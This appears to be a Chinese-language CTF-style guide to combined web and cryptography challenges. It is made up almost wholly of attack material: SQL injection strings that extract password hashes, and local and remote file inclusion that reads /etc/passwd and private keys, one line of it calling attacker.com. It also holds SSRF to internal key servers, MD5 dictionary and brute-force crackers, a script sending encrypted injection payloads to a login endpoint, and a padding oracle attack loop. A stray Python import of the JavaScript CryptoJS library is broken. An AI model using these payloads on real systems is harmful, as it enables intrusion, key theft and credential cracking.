151_Web与密码学混合挑战：从Web漏洞利用到密码破解的实战指南

-- 基本注入示例
' OR 1=1 --

-- 提取加密字段示例
UNION SELECT username, password_hash FROM users WHERE 1=1

-- 盲注提取加密信息
' AND (SELECT ASCII(SUBSTRING(password_hash, 1, 1)) FROM users WHERE username='admin') > 65 --

// 本地文件包含利用
?file=../../../etc/passwd

// 远程文件包含（如果允许）
?file=http://attacker.com/key_extractor.txt

// 访问内部密钥服务器
?url=http://127.0.0.1:8080/keys

// 使用file协议读取本地文件
?url=file:///etc/ssl/private/server.key

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

# AES加密示例
def aes_encrypt(plaintext, key):
    cipher = AES.new(key.encode(), AES.MODE_CBC)
    ciphertext = cipher.encrypt(pad(plaintext.encode(), AES.block_size))
    return base64.b64encode(cipher.iv + ciphertext).decode()

# AES解密示例
def aes_decrypt(encrypted_data, key):
    data = base64.b64decode(encrypted_data)
    iv = data[:16]
    ciphertext = data[16:]
    cipher = AES.new(key.encode(), AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(ciphertext), AES.block_size).decode()

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64

# RSA加密示例
def rsa_encrypt(plaintext, public_key):
    key = RSA.import_key(public_key)
    cipher = PKCS1_OAEP.new(key)
    return base64.b64encode(cipher.encrypt(plaintext.encode())).decode()

# RSA解密示例
def rsa_decrypt(ciphertext, private_key):
    key = RSA.import_key(private_key)
    cipher = PKCS1_OAEP.new(key)
    return cipher.decrypt(base64.b64decode(ciphertext)).decode()

import hashlib

# 计算哈希值
def calculate_hash(text, algorithm='md5'):
    if algorithm == 'md5':
        return hashlib.md5(text.encode()).hexdigest()
    elif algorithm == 'sha1':
        return hashlib.sha1(text.encode()).hexdigest()
    elif algorithm == 'sha256':
        return hashlib.sha256(text.encode()).hexdigest()

# 简单的字典攻击示例
def dictionary_attack(hash_value, dictionary_file, algorithm='md5'):
    with open(dictionary_file, 'r') as f:
        for word in f:
            word = word.strip()
            if calculate_hash(word, algorithm) == hash_value:
                return word
    return None

http://target.com/login.php?user=admin' OR '1'='1

http://target.com/login.php?user=admin' UNION SELECT username, password_hash FROM users--

import hashlib
import itertools

# 假设提取的哈希值
target_hash = "5f4dcc3b5aa765d61d8327deb882cf99"  # MD5 of 'password'

# 简单的暴力破解（仅示例）
characters = 'abcdefghijklmnopqrstuvwxyz'
for length in range(1, 7):  # 尝试1-6位密码
    for attempt in itertools.product(characters, repeat=length):
        password = ''.join(attempt)
        if hashlib.md5(password.encode()).hexdigest() == target_hash:
            print(f"Found password: {password}")
            exit()

http://target.com/view.php?page=../../../etc/passwd

http://target.com/view.php?page=../../config/encryption.key

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# 从文件读取密钥
with open('extracted_key.txt', 'r') as f:
    key = f.read().strip()

# 从网站获取的加密数据
encrypted_data = "base64_encoded_encrypted_data_from_website"

# 解密过程
raw_data = base64.b64decode(encrypted_data)
iv = raw_data[:16]
ciphertext = raw_data[16:]
cipher = AES.new(key.encode(), AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size).decode()

print(f"Decrypted data: {plaintext}")

// 假设找到的加密函数
function encryptData(data) {
    var key = "supersecretkey123";
    var encrypted = CryptoJS.AES.encrypt(data, key);
    return encrypted.toString();
}

from CryptoJS import AES

# 模拟前端加密
def simulate_encryption(data, key="supersecretkey123"):
    return AES.encrypt(data, key).toString()

# 测试加密
test_data = "test_payload"
encrypted = simulate_encryption(test_data)
print(f"Encrypted: {encrypted}")

# 构造SQL注入 payload
malicious_payload = "admin' OR '1'='1 --"
encrypted_payload = simulate_encryption(malicious_payload)

# 发送加密的恶意payload
import requests
response = requests.post("http://target.com/login", data={"encrypted": encrypted_payload})
print(response.text)

import requests
import time

# 填充Oracle攻击示例
def padding_oracle_attack(encrypted_data, oracle_url):
    block_size = 16
    ciphertext_blocks = [encrypted_data[i:i+block_size] for i in range(0, len(encrypted_data), block_size)]
    plaintext = b''
    
    # 从最后一个块开始攻击
    for block_idx in range(len(ciphertext_blocks)-1, 0, -1):
        current_block = ciphertext_blocks[block_idx]
        prev_block = ciphertext_blocks[block_idx-1]
        
        # 解密当前块
        decrypted_block = bytearray(block_size)
        for position in range(block_size-1, -1, -1):
            padding = block_size - position
            
            # 修改前一个块以创建有效的填充
            modified_prev = bytearray(prev_block)
            for i in range(position+1, block_size):
                modified_prev[i] ^= decrypted_block[i] ^ padding
            
            # 尝试所有可能的字节值
            for byte_value in range(0, 256):
                modified_prev[position] = prev_block[position] ^ byte_value ^ padding
                
                # 发送请求到Oracle
                response = requests.post(oracle_url, data={'ciphertext': modified_prev + current_block})
                
                # 根据响应判断填充是否有效
                if "Padding is valid" in response.text:
                    decrypted_block[position] = byte_value ^ padding
                    break
        
        plaintext = decrypted_block + plaintext
    
    return plaintext